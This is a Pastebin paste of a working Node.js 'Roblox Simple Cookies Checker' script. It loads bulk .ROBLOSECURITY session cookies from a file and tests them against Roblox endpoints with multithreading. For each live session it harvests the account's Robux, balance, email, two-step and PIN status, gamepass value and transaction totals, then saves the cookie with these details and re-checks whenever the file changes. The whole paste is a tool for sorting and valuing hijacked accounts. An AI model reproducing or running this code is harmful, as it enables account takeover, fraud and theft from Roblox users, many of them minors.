Advertisement
hammercoolness

Untitled

Sep 10th, 2024 (edited)
30
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.62 KB | None | 0 0
  1. import axios from 'axios';
  2. import { readFileSync, writeFileSync, existsSync, watch } from 'fs';
  3. import config from './config.js';
  4. import { colors, wait } from './helper.js';
  5.  
  6. // 쿠키를 읽어오는 함수
  7. const loadCookies = () => {
  8. if (existsSync('./cookies.txt')) {
  9. let cookies = readFileSync('./cookies.txt').toString().replace(/\r\n/g, '\n').trim().split('\n'); // 쿠키를 한 줄씩 읽기
  10.  
  11. // 중복 제거 (설정된 경우)
  12. if (config.removeDuplicates) {
  13. let cookiesNoDuplics = [...new Set(cookies)];
  14. if (cookies.length - cookiesNoDuplics.length > 0) {
  15. console.log(`${colors.fg.yellow}[!] Removed ${cookies.length - cookiesNoDuplics.length} duplicate cookies${colors.reset}`);
  16. cookies = cookiesNoDuplics;
  17. }
  18. }
  19.  
  20. return cookies;
  21. } else {
  22. console.log(`${colors.fg.red}[-] cookies.txt not found!${colors.reset}`);
  23. return [];
  24. }
  25. };
  26.  
  27. // 쿠키를 체크하는 함수
  28. const checkCookies = async (cookies) => {
  29. let validCookies = [],
  30. loginURL = 'https://www.roblox.com/login',
  31. userInfoURL = 'https://users.roblox.com/v1/users/authenticated',
  32. economyURL = (userId) => `https://economy.roblox.com/v1/users/${userId}/currency`,
  33. billingURL = 'https://billing.roblox.com/v1/credit',
  34. accountSettingsURL = 'https://www.roblox.com/my/settings/json',
  35. friendsCountURL = 'https://friends.roblox.com/v1/my/friends/count',
  36. voiceSettingsURL = 'https://voice.roblox.com/v1/settings',
  37. gamepassesURL = (userId) => `https://www.roblox.com/users/inventory/list-json?assetTypeId=34&itemsPerPage=100&pageNumber=1&userId=${userId}`,
  38. badgesURL = (userId) => `https://accountinformation.roblox.com/v1/users/${userId}/roblox-badges`,
  39. transactionsURL = (userId) => `https://economy.roblox.com/v2/users/${userId}/transaction-totals?timeFrame=Year&transactionType=summary`,
  40. threads = 0,
  41. max_thread = (config.multithreading.enabled ? config.multithreading.threads : 1),
  42. checked = 0;
  43.  
  44. const checkCookie = async (cookie) => {
  45. threads++;
  46. let headers = {
  47. 'Cookie': `.ROBLOSECURITY=${cookie};`
  48. };
  49.  
  50. try {
  51. // 로그인 검증
  52. let resp = await axios.get(loginURL, { headers });
  53. if (resp.request.res.responseUrl !== loginURL) {
  54. // 사용자 정보 가져오기
  55. const userInfo = await axios.get(userInfoURL, { headers });
  56. const userId = userInfo.data.id;
  57.  
  58. // 추가 데이터 가져오기
  59. const [robuxResponse, balanceInfoResponse, accountSettingsResponse, friendsCountResponse, voiceSettingsResponse, gamepassesResponse, badgesResponse, transactionsResponse] = await Promise.all([
  60. axios.get(economyURL(userId), { headers }),
  61. axios.get(billingURL, { headers }),
  62. axios.get(accountSettingsURL, { headers }),
  63. axios.get(friendsCountURL, { headers }),
  64. axios.get(voiceSettingsURL, { headers }),
  65. axios.get(gamepassesURL(userId), { headers }),
  66. axios.get(badgesURL(userId), { headers }),
  67. axios.get(transactionsURL(userId), { headers })
  68. ]);
  69.  
  70. // 데이터 추출
  71. const robux = robuxResponse.data.robux;
  72. const balanceInfo = balanceInfoResponse.data;
  73. const accountSettings = accountSettingsResponse.data;
  74. const friendsCount = friendsCountResponse.data.count;
  75. const voiceVerified = voiceSettingsResponse.data.isVerifiedForVoice;
  76. const gamepasses = gamepassesResponse.data.data.reduce((total, item) => total + (item.priceInRobux || 0), 0);
  77. const badges = badgesResponse.data.map(badge => badge.name).join(', ');
  78. const transactions = transactionsResponse.data;
  79.  
  80. validCookies.push({
  81. cookie,
  82. robux,
  83. balance: `${balanceInfo.balance} ${balanceInfo.currencyCode}`,
  84. accountName: accountSettings.Name,
  85. displayName: accountSettings.DisplayName,
  86. emailVerified: accountSettings.IsEmailVerified ? `${accountSettings.IsEmailVerified} (${accountSettings.UserEmail})` : 'No',
  87. accountAge: Math.round(accountSettings.AccountAgeInDays / 365),
  88. premium: accountSettings.IsPremium,
  89. hasPIN: accountSettings.IsAccountPinEnabled,
  90. twoStep: accountSettings.MyAccountSecurityModel.IsTwoStepEnabled,
  91. friends: friendsCount,
  92. voiceVerified,
  93. gamepasses,
  94. badges,
  95. salesOfGoods: transactions.salesTotal,
  96. premiumPayouts: transactions.premiumPayoutsTotal,
  97. commissions: transactions.affiliateSalesTotal,
  98. robuxPurchased: transactions.currencyPurchasesTotal,
  99. pendingRobux: transactions.pendingRobuxTotal,
  100. overall: Math.abs(transactions.purchasesTotal)
  101. });
  102. } else {
  103. console.error(`Login failed for cookie: ${cookie}`);
  104. }
  105. } catch (error) {
  106. console.error(`Error processing cookie ${cookie}:`, error.message);
  107. } finally {
  108. threads--;
  109. checked++;
  110. }
  111. };
  112.  
  113. const updateConsole = () => {
  114. console.clear();
  115. console.log([
  116. `${colors.bg.blue}[🍪] Roblox Simple Cookies Checker${colors.reset}`,
  117. `${colors.fg.green}[✅] Valid: ${validCookies.length}${colors.reset}`,
  118. `${colors.fg.red}[❌] Invalid: ${cookies.length - validCookies.length}${colors.reset}`,
  119. `${colors.fg.yellow}[⚠] Checked: ${checked}/${cookies.length}${colors.reset}`
  120. ].join('\n'));
  121. };
  122.  
  123. for (let cookie of cookies) {
  124. while (threads >= max_thread) await wait(100);
  125. checkCookie(cookie);
  126. updateConsole();
  127. }
  128.  
  129. while (threads > 0) await wait(100);
  130. updateConsole();
  131.  
  132. if (validCookies.length > 0) {
  133. writeFileSync('./validCookies.txt', validCookies.map(c =>
  134. `Cookie: ${c.cookie}\n` +
  135. `Robux: ${c.robux}\n` +
  136. `Balance: ${c.balance}\n` +
  137. `Account Name: ${c.accountName}\n` +
  138. `Display Name: ${c.displayName}\n` +
  139. `Email Verified: ${c.emailVerified}\n` +
  140. `Account Age: ${c.accountAge} years\n` +
  141. `Premium: ${c.premium}\n` +
  142. `Has PIN: ${c.hasPIN}\n` +
  143. `2-Step Verification: ${c.twoStep}\n` +
  144. `Friends: ${c.friends}\n` +
  145. `Voice Verified: ${c.voiceVerified}\n` +
  146. `Gamepasses Worth: ${c.gamepasses} R$\n` +
  147. `Badges: ${c.badges}\n` +
  148. `Sales of Goods: ${c.salesOfGoods}\n` +
  149. `Premium Payouts: ${c.premiumPayouts}\n` +
  150. `Commissions: ${c.commissions}\n` +
  151. `Robux Purchased: ${c.robuxPurchased}\n` +
  152. `Pending Robux: ${c.pendingRobux}\n` +
  153. `Overall: ${c.overall}\n\n`
  154. ).join(''));
  155. console.log(`${colors.bg.green}[✅] Saved valid cookies and their details to validCookies.txt${colors.reset}`);
  156. } else {
  157. console.log(`${colors.bg.red}[❌] No valid cookies were found!${colors.reset}`);
  158. }
  159.  
  160. console.log(colors.fg.green + `\n\n@kob.kuba\n\n` + colors.reset);
  161. };
  162.  
  163. const watchFile = () => {
  164. console.log(`${colors.fg.blue}[🔄] Watching cookies.txt for changes...${colors.reset}`);
  165.  
  166. watch('./cookies.txt', async (eventType) => {
  167. if (eventType === 'change') {
  168. console.log(`${colors.fg.yellow}[!] Detected changes in cookies.txt. Checking cookies...${colors.reset}`);
  169. let cookies = loadCookies(); // 쿠키를 로드하여 확인
  170.  
  171. if (cookies.length > 0) {
  172. await checkCookies(cookies);
  173. } else {
  174. console.log(`${colors.fg.red}[-] No cookies found in cookies.txt!${colors.reset}`);
  175. }
  176. }
  177. });
  178. };
  179.  
  180. // 스크립트 시작 시 쿠키를 로드하고 파일을 감시합니다.
  181. const initialCheck = () => {
  182. let cookies = loadCookies(); // 쿠키를 로드하여 초기 확인
  183.  
  184. if (cookies.length > 0) {
  185. checkCookies(cookies);
  186. }
  187. };
  188.  
  189. // 초기 확인 후 파일 감시 시작
  190. initialCheck();
  191. watchFile();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement